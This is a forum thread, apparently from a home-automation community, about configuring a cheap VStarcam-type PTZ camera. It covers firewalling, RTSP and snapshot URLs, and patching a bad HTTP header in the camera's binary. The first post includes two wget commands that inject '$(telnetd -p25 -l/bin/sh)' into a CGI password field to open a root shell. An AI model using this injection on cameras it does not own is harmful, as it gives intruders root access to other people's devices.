C7824WIP PTZ camera

I recently got one of these cheap Chinese PTZ onvif cameras, ad thought I’d share my experiences.

Before I begin though, I DO NOT recommend buying these cameras if you value your sanity or your network security.

These cameras are sold under many brands, and I beleive they are all basically the same. I got this camera because it was cheap and was marketed to have onvif support. I had done some (but not enough) internet snooping to figure out that it probably supported onvif and would definitely try to phone home. I didn’t know about all the vulnerabilities at the time.

1st be aware, these cameras have terrible security, and you would be crazy to connect them to your network without a robust firewall configured to block it. Basically this camera is configured to connect to a server in China which you can also connect to using the ‘eye4’ phone app. There has been lots of analysis of this camera, and there are (still) lots of attacks against it. As soon as I had it configured, I blocked it from all WAN access except port 123 (NTP). It may be necessary to use the App and let it have internet access for initial confguration.

As soon as I set the password and updated the firmware, I immediatly blocked all WAN connections from/to the device. Note that it mostly uses UDP and has at least on ICMP connection, so double check that you get them all.

I used the ‘Onvif Device Manager’ to find the initial configuration, and logged in via Chrome. Using the most current firmware (48.53.75.109), I found that the http port changes every time the camera is rebooted if it is configured to use DHCP. I ended up turning off DHCP so that I could fix the http port. The RTSP port can actually be set though even with DHCP enabled.

I tried to configure onvif for the device, but have not yet been successful. I Keep getting Error 400. I’ll keep working on that, but there are other options:

Next I tried using the ‘Generic IP’ camera driver. The C7824WIP can send a 640x360 snapshot over HTTP using the link:

http://192.168.1.223/snapshot.cgi?user=admin&pwd=<password>&res=0

(if you don’t include the ‘res=0’ you get a 360x180 image instaed)
However, as of firmware 48.53.75.109/EN75.8.53.14, the above link sends an illegal header, and homeassistant can’t read the JPG (see below for how I fixed that).

Since I couldn’t get the snapshot feature to work, I next tried the ffmpeg camera component. The appropriate configuration for this is something like:

  #- platform: ffmpeg
  #  name: downstairs
  #  input: 'rtsp://admin:<password>@192.168.1.223:554/udp/av0_0'

This does seem to work well and is the easiest way to use the device.

As I was investigating the vulnerabilities (most of which are 6-12 months old), I found that the telnet port was no longer exposed in current firmware, but that it is still easy to enable a shell on the camera.

Specifically running the following two commands will open up telnet on port 25 (with the firmware listed above and probably any older). Change the '192.168.1.223 to your camera. I think 192.168.1.1 can be left as is

wget -qO- 'http://192.168.1.223/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=<password>&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
wget -qO- 'http://192.168.1.223/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=<password>'

now you can:telnet 192.168.1.223 25 and gain root access to your camera.
My next goal was to change the snapshot.cgi script to send proper HTTP headers. It turns out that all of the cgi scripts are embedded in the /system/system/bin/encoder application. The bad header sent by the camera is Tue, 12 Jun 2012 01:56:34 GMT (headers should look like Key: Value, and this doesn’t follow that format). My fix was to 1st backup the encoder binary, and next to replace the string Tue, 12 Jun 2012 01:56:34 GMT with Date: 2 Jun 2012 01:56:34 GMT (it is important not to change the length of the file). This crude hack makes the snapshot headers legal and lets the ‘generic IP camera’ component work properly.

I am not recommending anyone actually do this (in fact, I would recommend not to buy these cheap Chinese cameras. I think the Foscam/Amcrest cameras are a lot less sketchy). But, if you want to save a few bucks, make sure you know what you are getting into.

I’m going to continue playing around with this to see if I can get Onvif working too.

Info about the vulnerabilities )some of which have been fixed, but not all):
https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html

Some info about the available cgi commands:
http://soft.vstarcam.com/sdk/sdk_h_cgi.zip

4 Likes

For those who are not able to access the PTZ commands of their camera due to not knowing the format of command mainly the origin of Chinese (or any other) is only to display tools of the development in the crome. Then it is only to enter the access page of the camera, make the commands and copy the codes that appear in the developer’s tools.

2 Likes

Great information! Thank you very much for sharing your investigations and findings about this camera.
From my side, I have just realized that I can access the rtsp stream through TCP using rtsp://admin:@192.168.1.223:554/tcp/av0_0’

I will keep monitoring this post to be up to date with the news regarding these cameras. (VstarCAM)

Hello,
Can you give more details how to change the cgi file. I am a newbie on changing cgi files.
Thanks in advance
Regards

First off, after the changes I mentioned above, this camera has actually performed remarkably well for the past 2 years. I still use it with HASS.

I don’t know what the current firmware is, and whether it is more secure than the last one I downloaded. I have not attempted to update my camera’s firmware since I got it.

I actually recommend you don’t use the cgi hack at all, and instead just use rtsp

If you really want to do the cgi hack, you should see if the commands I documented above still work, and whether you can telnet into your camera or not. If not, the cgi hack won’t be possible. After that you need to download the encoder application to another machine. Then use a hex-editor to find the hard-coded time Tue, 12 Jun 2012 01:56:34 GMT and replace it with Date: 2 Jun 2012 01:56:34 GMT

Then re-upload the modified file to the camera and replace the existing binary